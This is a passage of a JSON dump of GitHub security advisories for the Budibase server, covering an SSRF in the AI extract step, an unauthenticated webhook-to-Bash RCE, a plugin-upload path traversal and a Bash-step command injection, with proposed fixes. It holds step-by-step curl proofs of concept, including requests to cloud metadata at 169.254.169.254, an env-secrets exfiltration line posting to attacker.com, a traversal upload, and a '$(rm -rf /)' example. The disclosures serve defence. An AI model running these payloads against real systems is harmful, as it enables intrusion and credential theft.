`fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** — the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}'\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n  \"http://BUDIBASE_HOST/api/automations\" \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n  -d '{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}'\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n  packages/server/src/automations/steps/ai/extract.ts:116\n    const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n  packages/server/src/automations/steps/slack.ts:19\n    response = await fetchWithBlacklist(url, {...})\n  packages/server/src/automations/steps/discord.ts:28\n    response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist\n  // ...\n  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-15T17:47:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-rpj4-7x2v-wjrf","https://github.com/Budibase/budibase/releases/tag/3.38.4","https://nvd.nist.gov/vuln/detail/CVE-2026-45548","https://github.com/advisories/GHSA-rpj4-7x2v-wjrf"],"source_kind":"github","identifiers":["GHSA-rpj4-7x2v-wjrf","CVE-2026-45548"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-15T18:00:17.674Z","updated_at":"2026-08-28T13:02:11.698Z","epss_percentage":0.00258,"epss_percentile":0.17051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycGo0LTd4MnYtd2pyZs4ABW8-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycGo0LTd4MnYtd2pyZs4ABW8-","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.34.8","vulnerable_version_range":"\u003c 3.34.8"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycGo0LTd4MnYtd2pyZs4ABW8-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mY200LTRwajItbTVoZs4ABUuX","url":"https://github.com/advisories/GHSA-fcm4-4pj2-m5hf","title":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","description":"### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH\n        ↓\ncontroller.trigger()  [webhook.ts:90]\n        ↓\ntriggers.externalTrigger()\n        ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run()  [actions.ts:131]\n        ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n        ↓\nexecSync(\"ATTACKER_PAYLOAD\")                          ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n  ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n  BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n  params = {\n    ...params,\n    ...params.fields,  // { cmd: \"PAYLOAD\" } becomes top-level\n    fields: {},\n  }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget:  http://TARGET:10000   (any self-hosted Budibase instance)\nTester:  Any machine with curl\nAuth:    Admin credentials required for SETUP PHASE only\n         Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n\u003e **Note:** This phase represents normal Budibase usage. Any admin who creates\n\u003e a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"username\": \"admin@company.com\",\n    \"password\": \"adminpassword\"\n  }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"MyApp\",\n    \"useTemplate\": false,\n    \"url\": \"/myapp\"\n  }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\n    \"name\": \"WebhookBash\",\n    \"type\": \"automation\",\n    \"definition\": {\n      \"trigger\": {\n        \"id\": \"trigger_1\",\n        \"name\": \"Webhook\",\n        \"event\": \"app:webhook:trigger\",\n        \"stepId\": \"WEBHOOK\",\n        \"type\": \"TRIGGER\",\n        \"icon\": \"paper-plane-right\",\n        \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n        \"tagline\": \"Webhook endpoint is hit\",\n        \"inputs\": {},\n        \"schema\": {\n          \"inputs\": { \"properties\": {} },\n          \"outputs\": {\n            \"properties\": { \"body\": { \"type\": \"object\" } }\n          }\n        }\n      },\n      \"steps\": [\n        {\n          \"id\": \"bash_step_1\",\n          \"name\": \"Bash Scripting\",\n          \"stepId\": \"EXECUTE_BASH\",\n          \"type\": \"ACTION\",\n          \"icon\": \"git-branch\",\n          \"description\": \"Run a bash script\",\n          \"tagline\": \"Execute a bash command\",\n          \"inputs\": {\n            \"code\": \"{{ trigger.cmd }}\"\n          },\n          \"schema\": {\n            \"inputs\": {\n              \"properties\": { \"code\": { \"type\": \"string\" } }\n            },\n            \"outputs\": {\n              \"properties\": {\n                \"stdout\": { \"type\": \"string\" },\n                \"success\": { \"type\": \"boolean\" }\n              }\n            }\n          }\n        }\n      ]\n    }\n  }'\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n  -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"{\n    \\\"name\\\": \\\"MyWebhook\\\",\n    \\\"action\\\": {\n      \\\"type\\\": \\\"automation\\\",\n      \\\"target\\\": \\\"$AUTO_ID\\\"\n    }\n  }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n  -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n  any admin has created an automation with a Bash step that uses webhook trigger field\n  templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n  - Execute arbitrary OS commands as `root` inside the application container\n  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n  - Establish reverse shells and persistent access\n  - Read/write/delete all application data via CouchDB access\n  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n  - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-04T06:04:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf","https://nvd.nist.gov/vuln/detail/CVE-2026-35216","https://github.com/Budibase/budibase/pull/18238","https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256","https://github.com/Budibase/budibase/releases/tag/3.33.4","https://github.com/advisories/GHSA-fcm4-4pj2-m5hf"],"source_kind":"github","identifiers":["GHSA-fcm4-4pj2-m5hf","CVE-2026-35216"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-09-03T07:03:13.410Z","epss_percentage":0.10721,"epss_percentile":0.95504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY200LTRwajItbTVoZs4ABUuX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mY200LTRwajItbTVoZs4ABUuX","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.33.4","vulnerable_version_range":"\u003c 3.33.4"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY200LTRwajItbTVoZs4ABUuX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd2ZoLXJjd2Ytd2gyM84ABUuW","url":"https://github.com/advisories/GHSA-2wfh-rcwf-wh23","title":"Budibase: Path traversal in plugin file upload enables arbitrary directory deletion and file write","description":"## Summary\n\nThe plugin file upload endpoint (`POST /api/plugin/upload`) passes the user-supplied filename directly to `createTempFolder()` without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing `../` to delete arbitrary directories via `rmSync` and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access.\n\n## Severity\n\n- **Attack Vector:** Network — exploitable via the plugin upload HTTP API\n- **Attack Complexity:** Low — no special conditions; a single crafted multipart request suffices\n- **Privileges Required:** High — requires Global Builder role (`GLOBAL_BUILDER` permission)\n- **User Interaction:** None\n- **Scope:** Changed — the plugin upload feature is scoped to a temp directory, but the traversal escapes to the host filesystem\n- **Confidentiality Impact:** None — the vulnerability enables deletion and writing, not reading\n- **Integrity Impact:** High — attacker can delete arbitrary directories and write arbitrary files via tarball extraction\n- **Availability Impact:** High — recursive deletion of application or system directories causes denial of service\n\n### Severity Rationale\n\n Despite the real filesystem impact, severity is bounded by the requirement for Global Builder privileges (PR:H), which is the highest non-admin role in Budibase. In self-hosted deployments the Global Builder may already have server access, further reducing practical impact. In cloud/multi-tenant deployments the impact is more significant as it could affect the host infrastructure.\n\n## Affected Component\n\n- `packages/server/src/api/controllers/plugin/file.ts` — `fileUpload()` (line 15)\n- `packages/server/src/utilities/fileSystem/filesystem.ts` — `createTempFolder()` (lines 78-91)\n\n## Description\n\n### Unsanitized filename flows into filesystem operations\n\nIn `packages/server/src/api/controllers/plugin/file.ts`, the uploaded file's name is used directly after stripping the `.tar.gz` suffix:\n\n```typescript\n// packages/server/src/api/controllers/plugin/file.ts:8-19\nexport async function fileUpload(file: KoaFile) {\n  if (!file.name || !file.path) {\n    throw new Error(\"File is not valid - cannot upload.\")\n  }\n  if (!file.name.endsWith(\".tar.gz\")) {\n    throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n  }\n  const path = createTempFolder(file.name.split(\".tar.gz\")[0])\n  await extractTarball(file.path, path)\n\n  return await getPluginMetadata(path)\n}\n```\n\nThe `file.name` originates from the `Content-Disposition` header's `filename` field in the multipart upload, parsed by formidable (via koa-body 4.2.0). Formidable does not sanitize path traversal sequences from filenames.\n\nThe `createTempFolder` function in `packages/server/src/utilities/fileSystem/filesystem.ts` uses `path.join()` which resolves `../` sequences, then performs destructive filesystem operations:\n\n```typescript\n// packages/server/src/utilities/fileSystem/filesystem.ts:78-91\nexport const createTempFolder = (item: string) =\u003e {\n  const path = join(budibaseTempDir(), item)\n  try {\n    // remove old tmp directories automatically - don't combine\n    if (fs.existsSync(path)) {\n      fs.rmSync(path, { recursive: true, force: true })\n    }\n    fs.mkdirSync(path)\n  } catch (err: any) {\n    throw new Error(`Path cannot be created: ${err.message}`)\n  }\n\n  return path\n}\n```\n\nThe `budibaseTempDir()` returns `/tmp/.budibase` (from `packages/backend-core/src/objectStore/utils.ts:33`). With a filename like `../../etc/target.tar.gz`, `path.join(\"/tmp/.budibase\", \"../../etc/target\")` resolves to `/etc/target`.\n\n### Inconsistent defenses confirm the gap\n\nThe codebase is aware of the risk in similar paths:\n\n1. **Safe path in `utils.ts`**: The `downloadUnzipTarball` function (for NPM/GitHub/URL plugin sources) generates a random name server-side:\n   ```typescript\n   // packages/server/src/api/controllers/plugin/index.ts:68\n   const name = \"PLUGIN_\" + Math.floor(100000 + Math.random() * 900000)\n   ```\n   This is safe because `name` never contains user input.\n\n2. **Safe path in `objectStore.ts`**: Other uses of `budibaseTempDir()` use UUID-generated names:\n   ```typescript\n   // packages/backend-core/src/objectStore/objectStore.ts:546\n   const outputPath = join(budibaseTempDir(), v4())\n   ```\n\n3. **Sanitization exists but is not applied**: The codebase has `sanitizeKey()` in `objectStore.ts` for sanitizing object store paths, but no equivalent is applied to `createTempFolder`'s input.\n\nThe file upload path is the only caller of `createTempFolder` that passes unsanitized user input.\n\n### Execution chain\n\n1. Authenticated Global Builder sends `POST /api/plugin/upload` with a multipart file whose `Content-Disposition` filename contains path traversal (e.g., `../../etc/target.tar.gz`)\n2. koa-body/formidable parses the upload, setting `file.name` to the raw filename from the header\n3. `controller.upload` → `sdk.plugins.processUploaded()` → `fileUpload(file)`\n4. `.endsWith(\".tar.gz\")` check passes (the suffix is present)\n5. `.split(\".tar.gz\")[0]` extracts `../../etc/target`\n6. `createTempFolder(\"../../etc/target\")` is called\n7. `path.join(\"/tmp/.budibase\", \"../../etc/target\")` resolves to `/etc/target`\n8. `fs.rmSync(\"/etc/target\", { recursive: true, force: true })` — **deletes the target directory recursively**\n9. `fs.mkdirSync(\"/etc/target\")` — **creates a directory at the traversed path**\n10. `extractTarball(file.path, \"/etc/target\")` — **extracts attacker-controlled tarball contents to the traversed path**\n\n## Proof of Concept\n\n```bash\n# Create a minimal tarball with a test file\nmkdir -p /tmp/plugin-poc \u0026\u0026 echo \"pwned\" \u003e /tmp/plugin-poc/test.txt\ntar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .\n\n# Upload with a traversal filename targeting /tmp/pwned (non-destructive demo)\ncurl -X POST 'http://localhost:10000/api/plugin/upload' \\\n  -H 'Cookie: \u003cglobal_builder_session_cookie\u003e' \\\n  -F \"file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz\"\n\n# Result: server executes:\n#   rm -rf /tmp/pwned        (if exists)\n#   mkdir /tmp/pwned\n#   tar xzf \u003cupload\u003e -C /tmp/pwned\n# Verify: ls /tmp/pwned/test.txt\n```\n\n## Impact\n\n- **Arbitrary directory deletion**: `rmSync` with `{ recursive: true, force: true }` deletes any directory the Node.js process can access, including application data directories\n- **Arbitrary file write**: Tarball extraction writes attacker-controlled files to any writable path, potentially overwriting application code, configuration, or system files\n- **Denial of service**: Deleting critical directories (e.g., the application's data directory, node_modules, or system directories) crashes the application\n- **Potential code execution**: In containerized deployments (common for Budibase) where Node.js runs as root, an attacker could overwrite startup scripts or application code to achieve remote code execution on subsequent restarts\n\n## Recommended Remediation\n\n### Option 1: Sanitize at `createTempFolder` (preferred — protects all callers)\n\n```typescript\nimport { join, resolve } from \"path\"\n\nexport const createTempFolder = (item: string) =\u003e {\n  const tempDir = budibaseTempDir()\n  const resolved = resolve(tempDir, item)\n\n  // Ensure the resolved path is within the temp directory\n  if (!resolved.startsWith(tempDir + \"/\") \u0026\u0026 resolved !== tempDir) {\n    throw new Error(\"Invalid path: directory traversal detected\")\n  }\n\n  try {\n    if (fs.existsSync(resolved)) {\n      fs.rmSync(resolved, { recursive: true, force: true })\n    }\n    fs.mkdirSync(resolved)\n  } catch (err: any) {\n    throw new Error(`Path cannot be created: ${err.message}`)\n  }\n\n  return resolved\n}\n```\n\n### Option 2: Sanitize at the upload handler (defense-in-depth)\n\nStrip path components from the filename before use:\n\n```typescript\nimport path from \"path\"\n\nexport async function fileUpload(file: KoaFile) {\n  if (!file.name || !file.path) {\n    throw new Error(\"File is not valid - cannot upload.\")\n  }\n  if (!file.name.endsWith(\".tar.gz\")) {\n    throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n  }\n  // Strip directory components from the filename\n  const safeName = path.basename(file.name).split(\".tar.gz\")[0]\n  const dir = createTempFolder(safeName)\n  await extractTarball(file.path, dir)\n\n  return await getPluginMetadata(dir)\n}\n```\n\nBoth options should ideally be applied together for defense-in-depth.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:04:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23","https://nvd.nist.gov/vuln/detail/CVE-2026-35214","https://github.com/Budibase/budibase/pull/18240","https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879","https://github.com/Budibase/budibase/releases/tag/3.33.4","https://github.com/advisories/GHSA-2wfh-rcwf-wh23"],"source_kind":"github","identifiers":["GHSA-2wfh-rcwf-wh23","CVE-2026-35214"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.195Z","updated_at":"2026-08-15T20:04:24.140Z","epss_percentage":0.00554,"epss_percentile":0.43502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd2ZoLXJjd2Ytd2gyM84ABUuW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd2ZoLXJjd2Ytd2gyM84ABUuW","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.33.4","vulnerable_version_range":"\u003c 3.33.4"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd2ZoLXJjd2Ytd2gyM84ABUuW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nanc5LTM0Z2YtcnA2bc4ABUtz","url":"https://github.com/advisories/GHSA-gjw9-34gf-rp6m","title":"Budibase: Command Injection in Bash Automation Step","description":"**Location**: `packages/server/src/automations/steps/bash.ts`  \n\n#### Description\nThe bash automation step executes user-provided commands using `execSync` without proper sanitization or validation. User input is processed through `processStringSync` which allows template interpolation, potentially allowing arbitrary command execution.\n\n#### Code Reference\n```21:28:packages/server/src/automations/steps/bash.ts\n    const command = processStringSync(inputs.code, context)\n\n    let stdout,\n      success = true\n    try {\n      stdout = execSync(command, {\n        timeout: environment.QUERY_THREAD_TIMEOUT,\n      }).toString()\n```\n\n#### Attack Vector\nAn attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., `$(rm -rf /)`, `; malicious-command`, `| malicious-command`).\n\n#### Impact\n- Remote code execution (RCE)\n- Complete system compromise\n- Data exfiltration\n- Lateral movement within the infrastructure\n\n#### Recommendation\n1. **Immediate**: Disable bash automation step in production until fixed\n2. Implement a whitelist of allowed commands\n3. Use parameterized command execution with proper escaping\n4. Implement command argument validation\n5. Consider using a restricted shell or command sandboxing\n6. Add rate limiting and monitoring for command execution\n\n#### Example Fix\n```typescript\nimport { spawn } from \"child_process\"\n\n// Validate against whitelist\nconst ALLOWED_COMMANDS = [\"echo\", \"date\", \"pwd\"] // Extend as needed\n\nfunction sanitizeCommand(input: string): string {\n  // Remove dangerous characters and command chaining\n  return input.replace(/[;\u0026|`$(){}[\\]]/g, \"\").trim()\n}\n\nfunction validateCommand(cmd: string): boolean {\n  const parts = cmd.split(/\\s+/)\n  return ALLOWED_COMMANDS.includes(parts[0])\n}\n\nexport async function run({ inputs, context }) {\n  if (!inputs.code) {\n    return { stdout: \"Budibase bash automation failed: Invalid inputs\" }\n  }\n\n  const processedCommand = processStringSync(inputs.code, context)\n  const sanitized = sanitizeCommand(processedCommand)\n  \n  if (!validateCommand(sanitized)) {\n    return {\n      success: false,\n      stdout: \"Command not allowed\"\n    }\n  }\n\n  // Use spawn instead of execSync with proper argument handling\n  return new Promise((resolve) =\u003e {\n    const [command, ...args] = sanitized.split(/\\s+/)\n    const proc = spawn(command, args, {\n      timeout: environment.QUERY_THREAD_TIMEOUT,\n    })\n    \n    let stdout = \"\"\n    proc.stdout.on(\"data\", (data) =\u003e { stdout += data })\n    proc.on(\"close\", (code) =\u003e {\n      resolve({ stdout, success: code === 0 })\n    })\n  })\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-03T21:53:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-gjw9-34gf-rp6m","https://nvd.nist.gov/vuln/detail/CVE-2026-25044","https://github.com/Budibase/budibase/releases/tag/3.33.2","https://github.com/advisories/GHSA-gjw9-34gf-rp6m"],"source_kind":"github","identifiers":["GHSA-gjw9-34gf-rp6m","CVE-2026-25044"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T22:00:13.847Z","updated_at":"2026-09-03T07:03:13.425Z","epss_percentage":0.00466,"epss_percentile":0.3852,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nanc5LTM0Z2YtcnA2bc4ABUtz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nanc5LTM0Z2YtcnA2bc4ABUtz","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.33.4","vulnerable_version_range":"\u003c 